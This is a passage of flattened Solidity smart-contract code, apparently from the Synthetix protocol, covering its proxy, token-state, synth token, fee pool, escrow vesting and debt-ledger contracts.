10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } contract Proxy is Owned { Proxyable public target; bool public useDELEGATECALL; constructor(address _owner) Owned(_owner) public {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function setUseDELEGATECALL(bool value) external onlyOwner { useDELEGATECALL = value; } function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } function() external payable { if (useDELEGATECALL) { assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } else { target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } contract Proxyable is Owned { Proxy public proxy; address messageSender; constructor(address _proxy, address _owner) Owned(_owner) public { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy, "Only the proxy can call this function"); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner, "This action can only be performed by the owner"); _; } event ProxyUpdated(address proxyAddress); } contract State is Owned { address public associatedContract; constructor(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } event AssociatedContractUpdated(address associatedContract); } contract TokenState is State { mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } contract ReentrancyPreventer { bool isInFunctionBody = false; modifier preventReentrancy { require(!isInFunctionBody, "Reverted to prevent reentrancy"); isInFunctionBody = true; _; isInFunctionBody = false; } } contract TokenFallbackCaller is ReentrancyPreventer { function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data) internal preventReentrancy { uint length; assembly { length := extcodesize(recipient) } if (length > 0) { recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data)); } } } contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller { using SafeMath for uint; using SafeDecimalMath for uint; TokenState public tokenState; string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, uint8 _decimals, address _owner) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } function balanceOf(address account) public view returns (uint) { return tokenState.balanceOf(account); } function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(_tokenState); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { require(to != address(0), "Cannot transfer to the 0 address"); require(to != address(this), "Cannot transfer to the underlying contract"); require(to != address(proxy), "Cannot transfer to the proxy contract"); tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); callTokenFallbackIfNeeded(from, to, value, data); emitTransfer(from, to, value); return true; } function _transfer_byProxy(address from, address to, uint value, bytes data) internal returns (bool) { return _internalTransfer(from, to, value, data); } function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data) internal returns (bool) { tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value, data); } function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } event Transfer(address indexed from, address indexed to, uint value); bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer(address from, address to, uint value) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval(address owner, address spender, uint value) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } contract Synth is ExternStateToken { FeePool public feePool; Synthetix public synthetix; bytes4 public currencyKey; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool, string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey ) ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner) public { require(_proxy != 0, "_proxy cannot be 0"); require(address(_synthetix) != 0, "_synthetix cannot be 0"); require(address(_feePool) != 0, "_feePool cannot be 0"); require(_owner != 0, "_owner cannot be 0"); require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use"); feePool = _feePool; synthetix = _synthetix; currencyKey = _currencyKey; } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function setFeePool(FeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; emitFeePoolUpdated(_feePool); } function transfer(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, amountReceived, empty); } function transfer(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, amountReceived, data); } function transferFrom(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, amountReceived, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, amountReceived, data); } function transferSenderPaysFee(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, value, empty); } function transferSenderPaysFee(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, value, data); } function transferFromSenderPaysFee(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, value, empty); } function transferFromSenderPaysFee(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, value, data); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to); if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) { return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to); } else { return super._internalTransfer(from, to, value, data); } } function issue(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount)); totalSupply = totalSupply.add(amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } function burn(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount)); totalSupply = totalSupply.sub(amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); } function setTotalSupply(uint amount) external optionalProxy_onlyOwner { totalSupply = amount; } function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount) external onlySynthetixOrFeePool { bytes memory empty; callTokenFallbackIfNeeded(sender, recipient, amount, empty); } modifier onlySynthetixOrFeePool() { bool isSynthetix = msg.sender == address(synthetix); bool isFeePool = msg.sender == address(feePool); require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address"); _; } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } event FeePoolUpdated(address newFeePool); bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)"); function emitFeePoolUpdated(address newFeePool) internal { proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0); } event Issued(address indexed account, uint value); bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)"); function emitIssued(address account, uint value) internal { proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0); } event Burned(address indexed account, uint value); bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)"); function emitBurned(address account, uint value) internal { proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0); } } contract FeePool is Proxyable, SelfDestructible { using SafeMath for uint; using SafeDecimalMath for uint; Synthetix public synthetix; uint public transferFeeRate; uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10; uint public exchangeFeeRate; uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10; address public feeAuthority; address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF; struct FeePeriod { uint feePeriodId; uint startingDebtIndex; uint startTime; uint feesToDistribute; uint feesClaimed; } uint8 constant public FEE_PERIOD_LENGTH = 6; FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods; uint public nextFeePeriodId; uint public feePeriodDuration = 1 weeks; uint public constant MIN_FEE_PERIOD_DURATION = 1 days; uint public constant MAX_FEE_PERIOD_DURATION = 60 days; mapping(address => uint) public lastFeeWithdrawal; uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100; uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100; uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100; uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100; uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100; uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100; constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate"); require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate"); synthetix = _synthetix; feeAuthority = _feeAuthority; transferFeeRate = _transferFeeRate; exchangeFeeRate = _exchangeFeeRate; recentFeePeriods[0].feePeriodId = 1; recentFeePeriods[0].startTime = now; nextFeePeriodId = 2; } function setExchangeFeeRate(uint _exchangeFeeRate) external optionalProxy_onlyOwner { require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE"); exchangeFeeRate = _exchangeFeeRate; emitExchangeFeeUpdated(_exchangeFeeRate); } function setTransferFeeRate(uint _transferFeeRate) external optionalProxy_onlyOwner { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE"); transferFeeRate = _transferFeeRate; emitTransferFeeUpdated(_transferFeeRate); } function setFeeAuthority(address _feeAuthority) external optionalProxy_onlyOwner { feeAuthority = _feeAuthority; emitFeeAuthorityUpdated(_feeAuthority); } function setFeePeriodDuration(uint _feePeriodDuration) external optionalProxy_onlyOwner { require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration"); require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration"); feePeriodDuration = _feePeriodDuration; emitFeePeriodDurationUpdated(_feePeriodDuration); } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { require(address(_synthetix) != address(0), "New Synthetix must be non-zero"); synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function feePaid(bytes4 currencyKey, uint amount) external onlySynthetix { uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR"); recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount); } function closeCurrentFeePeriod() external onlyFeeAuthority { require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period"); FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2]; FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1]; recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute .sub(lastFeePeriod.feesClaimed) .add(secondLastFeePeriod.feesToDistribute); for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) { uint next = i + 1; recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId; recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex; recentFeePeriods[next].startTime = recentFeePeriods[i].startTime; recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute; recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed; } delete recentFeePeriods[0]; recentFeePeriods[0].feePeriodId = nextFeePeriodId; recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength(); recentFeePeriods[0].startTime = now; nextFeePeriodId = nextFeePeriodId.add(1); emitFeePeriodClosed(recentFeePeriods[1].feePeriodId); } function claimFees(bytes4 currencyKey) external optionalProxy returns (bool) { uint availableFees = feesAvailable(messageSender, "XDR"); require(availableFees > 0, "No fees available for period, or fees already claimed"); lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId; _recordFeePayment(availableFees); _payFees(messageSender, availableFees, currencyKey); emitFeesClaimed(messageSender, availableFees); return true; } function _recordFeePayment(uint xdrAmount) internal { uint remainingToAllocate = xdrAmount; for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) { uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed); if (delta > 0) { uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate; recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod); remainingToAllocate = remainingToAllocate.sub(amountInPeriod); if (remainingToAllocate == 0) return; } } assert(remainingToAllocate == 0); } function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey) internal notFeeAddress(account) { require(account != address(0), "Account can't be 0"); require(account != address(this), "Can't send fees to fee pool"); require(account != address(proxy), "Can't send fees to proxy"); require(account != address(synthetix), "Can't send fees to synthetix"); Synth xdrSynth = synthetix.synths("XDR"); Synth destinationSynth = synthetix.synths(destinationCurrencyKey); xdrSynth.burn(FEE_ADDRESS, xdrAmount); uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey); destinationSynth.issue(account, destinationAmount); destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount); } function transferFeeIncurred(uint value) public view returns (uint) { return value.multiplyDecimal(transferFeeRate); } function transferredAmountToReceive(uint value) external view returns (uint) { return value.add(transferFeeIncurred(value)); } function amountReceivedFromTransfer(uint value) external view returns (uint) { return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit())); } function exchangeFeeIncurred(uint value) public view returns (uint) { return value.multiplyDecimal(exchangeFeeRate); } function exchangedAmountToReceive(uint value) external view returns (uint) { return value.add(exchangeFeeIncurred(value)); } function amountReceivedFromExchange(uint value) external view returns (uint) { return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit())); } function totalFeesAvailable(bytes4 currencyKey) external view returns (uint) { uint totalFees = 0; for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) { totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute); totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed); } return synthetix.effectiveValue("XDR", totalFees, currencyKey); } function feesAvailable(address account, bytes4 currencyKey) public view returns (uint) { uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account); uint totalFees = 0; for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) { totalFees = totalFees.add(userFees[i]); } return synthetix.effectiveValue("XDR", totalFees, currencyKey); } function currentPenalty(address account) public view returns (uint) { uint ratio = synthetix.collateralisationRatio(account); if (ratio <= TWENTY_PERCENT) { return 0; } else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) { return TWENTY_FIVE_PERCENT; } else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) { return FIFTY_PERCENT; } return SEVENTY_FIVE_PERCENT; } function feesByPeriod(address account) public view returns (uint[FEE_PERIOD_LENGTH]) { uint[FEE_PERIOD_LENGTH] memory result; uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account); if (initialDebtOwnership == 0) return result; uint totalSynths = synthetix.totalIssuedSynths("XDR"); if (totalSynths == 0) return result; uint debtBalance = synthetix.debtBalanceOf(account, "XDR"); uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths); uint penalty = currentPenalty(account); for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) { if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex && lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) { uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute .multiplyDecimal(userOwnershipPercentage); uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty); uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod); result[i] = feesFromPeriod; } } return result; } modifier onlyFeeAuthority { require(msg.sender == feeAuthority, "Only the fee authority can perform this action"); _; } modifier onlySynthetix { require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action"); _; } modifier notFeeAddress(address account) { require(account != FEE_ADDRESS, "Fee address not allowed"); _; } event TransferFeeUpdated(uint newFeeRate); bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)"); function emitTransferFeeUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0); } event ExchangeFeeUpdated(uint newFeeRate); bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)"); function emitExchangeFeeUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0); } event FeePeriodDurationUpdated(uint newFeePeriodDuration); bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)"); function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal { proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0); } event FeeAuthorityUpdated(address newFeeAuthority); bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)"); function emitFeeAuthorityUpdated(address newFeeAuthority) internal { proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0); } event FeePeriodClosed(uint feePeriodId); bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)"); function emitFeePeriodClosed(uint feePeriodId) internal { proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0); } event FeesClaimed(address account, uint xdrAmount); bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)"); function emitFeesClaimed(address account, uint xdrAmount) internal { proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0); } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } } contract LimitedSetup { uint setupExpiryTime; constructor(uint setupDuration) public { setupExpiryTime = now + setupDuration; } modifier onlyDuringSetup { require(now < setupExpiryTime, "Can only perform this action during setup"); _; } } contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) { using SafeMath for uint; Synthetix public synthetix; mapping(address => uint[2][]) public vestingSchedules; mapping(address => uint) public totalVestedAccountBalance; uint public totalVestedBalance; uint constant TIME_INDEX = 0; uint constant QUANTITY_INDEX = 1; uint constant MAX_VESTING_ENTRIES = 20; constructor(address _owner, Synthetix _synthetix) Owned(_owner) public { synthetix = _synthetix; } function setSynthetix(Synthetix _synthetix) external onlyOwner { synthetix = _synthetix; emit SynthetixUpdated(_synthetix); } function balanceOf(address account) public view returns (uint) { return totalVestedAccountBalance[account]; } function numVestingEntries(address account) public view returns (uint) { return vestingSchedules[account].length; } function getVestingScheduleEntry(address account, uint index) public view returns (uint[2]) { return vestingSchedules[account][index]; } function getVestingTime(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[TIME_INDEX]; } function getVestingQuantity(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[QUANTITY_INDEX]; } function getNextVestingIndex(address account) public view returns (uint) { uint len = numVestingEntries(account); for (uint i = 0; i < len; i++) { if (getVestingTime(account, i) != 0) { return i; } } return len; } function getNextVestingEntry(address account) public view returns (uint[2]) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return [uint(0), 0]; } return getVestingScheduleEntry(account, index); } function getNextVestingTime(address account) external view returns (uint) { return getNextVestingEntry(account)[TIME_INDEX]; } function getNextVestingQuantity(address account) external view returns (uint) { return getNextVestingEntry(account)[QUANTITY_INDEX]; } function withdrawSynthetix(uint quantity) external onlyOwner onlyDuringSetup { synthetix.transfer(synthetix, quantity); } function purgeAccount(address account) external onlyOwner onlyDuringSetup { delete vestingSchedules[account]; totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]); delete totalVestedAccountBalance[account]; } function appendVestingEntry(address account, uint time, uint quantity) public onlyOwner onlyDuringSetup { require(now < time, "Time must be in the future"); require(quantity != 0, "Quantity cannot be zero"); totalVestedBalance = totalVestedBalance.add(quantity); require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry"); uint scheduleLength = vestingSchedules[account].length; require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long"); if (scheduleLength == 0) { totalVestedAccountBalance[account] = quantity; } else { require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one"); totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity); } vestingSchedules[account].push([time, quantity]); } function addVestingSchedule(address account, uint[] times, uint[] quantities) external onlyOwner onlyDuringSetup { for (uint i = 0; i < times.length; i++) { appendVestingEntry(account, times[i], quantities[i]); } } function vest() external { uint numEntries = numVestingEntries(msg.sender); uint total; for (uint i = 0; i < numEntries; i++) { uint time = getVestingTime(msg.sender, i); if (time > now) { break; } uint qty = getVestingQuantity(msg.sender, i); if (qty == 0) { continue; } vestingSchedules[msg.sender][i] = [0, 0]; total = total.add(qty); } if (total != 0) { totalVestedBalance = totalVestedBalance.sub(total); totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total); synthetix.transfer(msg.sender, total); emit Vested(msg.sender, now, total); } } event SynthetixUpdated(address newSynthetix); event Vested(address indexed beneficiary, uint time, uint value); } contract SynthetixState is State, LimitedSetup { using SafeMath for uint; using SafeDecimalMath for uint; struct IssuanceData { uint initialDebtOwnership; uint debtEntryIndex; } mapping(address => IssuanceData) public issuanceData; uint public totalIssuerCount; uint[] public debtLedger; uint public importedXDRAmount; uint public issuanceRatio = SafeDecimalMath.unit() / 5; uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit(); mapping(address => bytes4) public preferredCurrency; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) LimitedSetup(1 weeks) public {} function setCurrentIssuanceData(address account, uint initialDebtOwnership) external onlyAssociatedContract { issuanceData[account].initialDebtOwnership = initialDebtOwnership; issuanceData[account].debtEntryIndex = debtLedger.length; } function clearIssuanceData(address account) external onlyAssociatedContract { delete issuanceData[account]; } function incrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.add(1); } function decrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.sub(1); } function appendDebtLedgerValue(uint value) external onlyAssociatedContract { debtLedger.push(value); } function setPreferredCurrency(address account, bytes4 currencyKey) external onlyAssociatedContract { preferredCurrency[account] = currencyKey; } function setIssuanceRatio(uint _issuanceRatio) external onlyOwner { require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO"); issuanceRatio = _issuanceRatio; emit IssuanceRatioUpdated(_issuanceRatio); } function importIssuerData(address[] accounts, uint[] sUSDAmounts) external onlyOwner onlyDuringSetup { require(accounts.length == sUSDAmounts.length, "Length mismatch"); for (uint8 i = 0; i < accounts.length; i++) { _addToDebtRegister(accounts[i], sUSDAmounts[i]); } } function _addToDebtRegister(address account, uint amount) internal { Synthetix synthetix = Synthetix(associatedContract); uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR"); uint totalDebtIssued = importedXDRAmount; uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); importedXDRAmount = newTotalDebtIssued; uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = synthetix.debtBalanceOf(account, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (issuanceData[account].initialDebtOwnership == 0) { totalIssuerCount = totalIssuerCount.add(1); } issuanceData[account].initialDebtOwnership = debtPercentage; issuanceData[account].debtEntryIndex = debtLedger.length; if (debtLedger.length > 0) { debtLedger.push( debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta) ); } else { debtLedger.push(SafeDecimalMath.preciseUnit()); } } function debtLedgerLength() external view returns (uint) { return debtLedger.length; } function lastDebtLedgerEntry() external view 